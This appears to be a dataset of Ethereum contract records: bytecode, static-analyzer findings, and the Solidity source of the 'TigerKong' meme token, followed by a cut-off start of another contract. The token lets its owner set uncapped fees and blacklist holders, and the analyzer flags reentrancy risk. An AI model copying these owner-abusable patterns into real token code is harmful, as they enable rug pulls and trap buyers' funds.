8111156143cc576000848401525b50505050565b600060028204905060018216806143ea57607f821691505b602082108114156143fe576143fd6144dc565b5b50919050565b61440d8261453a565b810181811067ffffffffffffffff8211171561442c5761442b61450b565b5b80604052505050565b600061444082614388565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156144735761447261447e565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f457874656e73696f6e733a2046616c6c6261636b2070726f7879206661696c6560008201527f6420746f2072657475726e206461746100000000000000000000000000000000602082015250565b6145d981614340565b81146145e457600080fd5b50565b6145f081614352565b81146145fb57600080fd5b50565b6146078161435e565b811461461257600080fd5b50565b61461e81614388565b811461462957600080fd5b50565b61463581614392565b811461464057600080fd5b5056fea264697066735822122033c3e68900f74b3c04db510e6dbdc95dfb8b80584f0c54731c8f9605f99fc58064736f6c63430008020033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 5,346 |
0x5a8148B872Ee87F625CDcf57cBa335dA02b24438
|
/**
*Submitted for verification at Etherscan.io on 2022-03-15
*/
//Inspired by the documentary, TigerKing presents: TIGERKONG
// t.me/TigerKong
// TigerKong.org
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract TigerKong is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Tiger Kong";//
string private constant _symbol = "TigerKong";//
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public launchBlock;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;//
uint256 private _taxFeeOnBuy = 5;//
//Sell Fee
uint256 private _redisFeeOnSell = 0;//
uint256 private _taxFeeOnSell = 7;//
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x83E0C1e55A6D6048487Ec19F8F6fA6A223b20329);//
address payable private _marketingAddress = payable(0x83E0C1e55A6D6048487Ec19F8F6fA6A223b20329);//
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000 * 10**9; //
uint256 public _maxWalletSize = 15000000 * 10**9; //
uint256 public _swapTokensAtAmount = 1000000 * 10**9; //
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(block.number <= launchBlock && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){
bots[to] = true;
}
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
launchBlock = block.number;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f1461054d578063dd62ed3e14610563578063ea1644d5146105a9578063f2fde38b146105c957600080fd5b8063a9059cbb146104c8578063bfd79284146104e8578063c3c8cd8014610518578063c492f0461461052d57600080fd5b80638f9a55c0116100d15780638f9a55c01461044057806395d89b411461045657806398a5c31514610488578063a2a957bb146104a857600080fd5b80637d1db4a5146103ec5780638da5cb5b146104025780638f70ccf71461042057600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038257806370a0823114610397578063715018a6146103b757806374010ece146103cc57600080fd5b8063313ce5671461030657806349bd5a5e146103225780636b999053146103425780636d8aa8f81461036257600080fd5b80631694505e116101ab5780631694505e1461027357806318160ddd146102ab57806323b872dd146102d05780632fd689e3146102f057600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024357600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611b5c565b6105e9565b005b34801561020a57600080fd5b5060408051808201909152600a8152695469676572204b6f6e6760b01b60208201525b60405161023a9190611c8e565b60405180910390f35b34801561024f57600080fd5b5061026361025e366004611aac565b610688565b604051901515815260200161023a565b34801561027f57600080fd5b50601554610293906001600160a01b031681565b6040516001600160a01b03909116815260200161023a565b3480156102b757600080fd5b50670de0b6b3a76400005b60405190815260200161023a565b3480156102dc57600080fd5b506102636102eb366004611a6b565b61069f565b3480156102fc57600080fd5b506102c260195481565b34801561031257600080fd5b506040516009815260200161023a565b34801561032e57600080fd5b50601654610293906001600160a01b031681565b34801561034e57600080fd5b506101fc61035d3660046119f8565b610708565b34801561036e57600080fd5b506101fc61037d366004611c28565b610753565b34801561038e57600080fd5b506101fc61079b565b3480156103a357600080fd5b506102c26103b23660046119f8565b6107e6565b3480156103c357600080fd5b506101fc610808565b3480156103d857600080fd5b506101fc6103e7366004611c43565b61087c565b3480156103f857600080fd5b506102c260175481565b34801561040e57600080fd5b506000546001600160a01b0316610293565b34801561042c57600080fd5b506101fc61043b366004611c28565b6108ab565b34801561044c57600080fd5b506102c260185481565b34801561046257600080fd5b5060408051808201909152600981526854696765724b6f6e6760b81b602082015261022d565b34801561049457600080fd5b506101fc6104a3366004611c43565b6108f7565b3480156104b457600080fd5b506101fc6104c3366004611c5c565b610926565b3480156104d457600080fd5b506102636104e3366004611aac565b610964565b3480156104f457600080fd5b506102636105033660046119f8565b60116020526000908152604090205460ff1681565b34801561052457600080fd5b506101fc610971565b34801561053957600080fd5b506101fc610548366004611ad8565b6109c5565b34801561055957600080fd5b506102c260085481565b34801561056f57600080fd5b506102c261057e366004611a32565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105b557600080fd5b506101fc6105c4366004611c43565b610a66565b3480156105d557600080fd5b506101fc6105e43660046119f8565b610a95565b6000546001600160a01b0316331461061c5760405162461bcd60e51b815260040161061390611ce3565b60405180910390fd5b60005b81518110156106845760016011600084848151811061064057610640611e2a565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061067c81611df9565b91505061061f565b5050565b6000610695338484610b7f565b5060015b92915050565b60006106ac848484610ca3565b6106fe84336106f985604051806060016040528060288152602001611e6c602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611256565b610b7f565b5060019392505050565b6000546001600160a01b031633146107325760405162461bcd60e51b815260040161061390611ce3565b6001600160a01b03166000908152601160205260409020805460ff19169055565b6000546001600160a01b0316331461077d5760405162461bcd60e51b815260040161061390611ce3565b60168054911515600160b01b0260ff60b01b19909216919091179055565b6013546001600160a01b0316336001600160a01b031614806107d057506014546001600160a01b0316336001600160a01b0316145b6107d957600080fd5b476107e381611290565b50565b6001600160a01b03811660009081526002602052604081205461069990611315565b6000546001600160a01b031633146108325760405162461bcd60e51b815260040161061390611ce3565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108a65760405162461bcd60e51b815260040161061390611ce3565b601755565b6000546001600160a01b031633146108d55760405162461bcd60e51b815260040161061390611ce3565b60168054911515600160a01b0260ff60a01b1990921691909117905543600855565b6000546001600160a01b031633146109215760405162461bcd60e51b815260040161061390611ce3565b601955565b6000546001600160a01b031633146109505760405162461bcd60e51b815260040161061390611ce3565b600993909355600b91909155600a55600c55565b6000610695338484610ca3565b6013546001600160a01b0316336001600160a01b031614806109a657506014546001600160a01b0316336001600160a01b0316145b6109af57600080fd5b60006109ba306107e6565b90506107e381611399565b6000546001600160a01b031633146109ef5760405162461bcd60e51b815260040161061390611ce3565b60005b82811015610a60578160056000868685818110610a1157610a11611e2a565b9050602002016020810190610a2691906119f8565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a5881611df9565b9150506109f2565b50505050565b6000546001600160a01b03163314610a905760405162461bcd60e51b815260040161061390611ce3565b601855565b6000546001600160a01b03163314610abf5760405162461bcd60e51b815260040161061390611ce3565b6001600160a01b038116610b245760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610613565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610be15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610613565b6001600160a01b038216610c425760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610613565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d075760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610613565b6001600160a01b038216610d695760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610613565b60008111610dcb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610613565b6000546001600160a01b03848116911614801590610df757506000546001600160a01b03838116911614155b1561114f57601654600160a01b900460ff16610e90576000546001600160a01b03848116911614610e905760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610613565b601754811115610ee25760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610613565b6001600160a01b03831660009081526011602052604090205460ff16158015610f2457506001600160a01b03821660009081526011602052604090205460ff16155b610f7c5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610613565b6008544311158015610f9b57506016546001600160a01b038481169116145b8015610fb557506015546001600160a01b03838116911614155b8015610fca57506001600160a01b0382163014155b15610ff3576001600160a01b0382166000908152601160205260409020805460ff191660011790555b6016546001600160a01b038381169116146110785760185481611015846107e6565b61101f9190611d89565b106110785760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610613565b6000611083306107e6565b60195460175491925082101590821061109c5760175491505b8080156110b35750601654600160a81b900460ff16155b80156110cd57506016546001600160a01b03868116911614155b80156110e25750601654600160b01b900460ff165b801561110757506001600160a01b03851660009081526005602052604090205460ff16155b801561112c57506001600160a01b03841660009081526005602052604090205460ff16155b1561114c5761113a82611399565b47801561114a5761114a47611290565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061119157506001600160a01b03831660009081526005602052604090205460ff165b806111c357506016546001600160a01b038581169116148015906111c357506016546001600160a01b03848116911614155b156111d05750600061124a565b6016546001600160a01b0385811691161480156111fb57506015546001600160a01b03848116911614155b1561120d57600954600d55600a54600e555b6016546001600160a01b03848116911614801561123857506015546001600160a01b03858116911614155b1561124a57600b54600d55600c54600e555b610a6084848484611522565b6000818484111561127a5760405162461bcd60e51b81526004016106139190611c8e565b5060006112878486611de2565b95945050505050565b6013546001600160a01b03166108fc6112aa836002611550565b6040518115909202916000818181858888f193505050501580156112d2573d6000803e3d6000fd5b506014546001600160a01b03166108fc6112ed836002611550565b6040518115909202916000818181858888f19350505050158015610684573d6000803e3d6000fd5b600060065482111561137c5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610613565b6000611386611592565b90506113928382611550565b9392505050565b6016805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113e1576113e1611e2a565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561143557600080fd5b505afa158015611449573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061146d9190611a15565b8160018151811061148057611480611e2a565b6001600160a01b0392831660209182029290920101526015546114a69130911684610b7f565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac947906114df908590600090869030904290600401611d18565b600060405180830381600087803b1580156114f957600080fd5b505af115801561150d573d6000803e3d6000fd5b50506016805460ff60a81b1916905550505050565b8061152f5761152f6115b5565b61153a8484846115e3565b80610a6057610a60600f54600d55601054600e55565b600061139283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116da565b600080600061159f611708565b90925090506115ae8282611550565b9250505090565b600d541580156115c55750600e54155b156115cc57565b600d8054600f55600e805460105560009182905555565b6000806000806000806115f587611748565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061162790876117a5565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461165690866117e7565b6001600160a01b03891660009081526002602052604090205561167881611846565b6116828483611890565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516116c791815260200190565b60405180910390a3505050505050505050565b600081836116fb5760405162461bcd60e51b81526004016106139190611c8e565b5060006112878486611da1565b6006546000908190670de0b6b3a76400006117238282611550565b82101561173f57505060065492670de0b6b3a764000092509050565b90939092509050565b60008060008060008060008060006117658a600d54600e546118b4565b9250925092506000611775611592565b905060008060006117888e878787611909565b919e509c509a509598509396509194505050505091939550919395565b600061139283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611256565b6000806117f48385611d89565b9050838110156113925760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610613565b6000611850611592565b9050600061185e8383611959565b3060009081526002602052604090205490915061187b90826117e7565b30600090815260026020526040902055505050565b60065461189d90836117a5565b6006556007546118ad90826117e7565b6007555050565b60008080806118ce60646118c88989611959565b90611550565b905060006118e160646118c88a89611959565b905060006118f9826118f38b866117a5565b906117a5565b9992985090965090945050505050565b60008080806119188886611959565b905060006119268887611959565b905060006119348888611959565b90506000611946826118f386866117a5565b939b939a50919850919650505050505050565b60008261196857506000610699565b60006119748385611dc3565b9050826119818583611da1565b146113925760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610613565b80356119e381611e56565b919050565b803580151581146119e357600080fd5b600060208284031215611a0a57600080fd5b813561139281611e56565b600060208284031215611a2757600080fd5b815161139281611e56565b60008060408385031215611a4557600080fd5b8235611a5081611e56565b91506020830135611a6081611e56565b809150509250929050565b600080600060608486031215611a8057600080fd5b8335611a8b81611e56565b92506020840135611a9b81611e56565b929592945050506040919091013590565b60008060408385031215611abf57600080fd5b8235611aca81611e56565b946020939093013593505050565b600080600060408486031215611aed57600080fd5b833567ffffffffffffffff80821115611b0557600080fd5b818601915086601f830112611b1957600080fd5b813581811115611b2857600080fd5b8760208260051b8501011115611b3d57600080fd5b602092830195509350611b5391860190506119e8565b90509250925092565b60006020808385031215611b6f57600080fd5b823567ffffffffffffffff80821115611b8757600080fd5b818501915085601f830112611b9b57600080fd5b813581811115611bad57611bad611e40565b8060051b604051601f19603f83011681018181108582111715611bd257611bd2611e40565b604052828152858101935084860182860187018a1015611bf157600080fd5b600095505b83861015611c1b57611c07816119d8565b855260019590950194938601938601611bf6565b5098975050505050505050565b600060208284031215611c3a57600080fd5b611392826119e8565b600060208284031215611c5557600080fd5b5035919050565b60008060008060808587031215611c7257600080fd5b5050823594602084013594506040840135936060013592509050565b600060208083528351808285015260005b81811015611cbb57858101830151858201604001528201611c9f565b81811115611ccd576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d685784516001600160a01b031683529383019391830191600101611d43565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611d9c57611d9c611e14565b500190565b600082611dbe57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611ddd57611ddd611e14565b500290565b600082821015611df457611df4611e14565b500390565b6000600019821415611e0d57611e0d611e14565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107e357600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220eb7d1ecc2f939adb03033e8dc63b7e32a0ea67a12ededfabedf3f02499a1fe2a64736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 5,347 |
0xad097fe9170861937a56e975fe26e877173d325d
|
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
